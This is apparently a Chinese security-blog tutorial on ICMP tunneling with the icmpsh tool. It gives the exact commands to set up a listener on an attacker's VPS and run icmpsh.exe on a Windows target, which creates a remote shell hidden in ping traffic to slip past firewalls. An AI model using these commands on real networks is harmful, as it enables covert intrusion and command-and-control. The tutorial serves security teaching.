目录
ICMP隧道
使用ICMP进行命令控制(Icmpsh)
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
适用场景:目标机器是Windows服务器的情况
git clone https://github.com/inquisb/icmpsh.git #先下载icmpsh工具
VPS的操作:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭icmp回复,如果要开启icmp回复,该值设置为0
python2 icmpsh_m.py 172.31.226.161 x.x.x.x #运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
目标机器的操作:
icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
抓包,可以看到两者之间通信都是icmp的数据包
相关文章:
本文始发于微信公众号(贝塔安全实验室):内网转发及隐蔽隧道 | 使用ICMP进行命令控制(Icmpsh)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论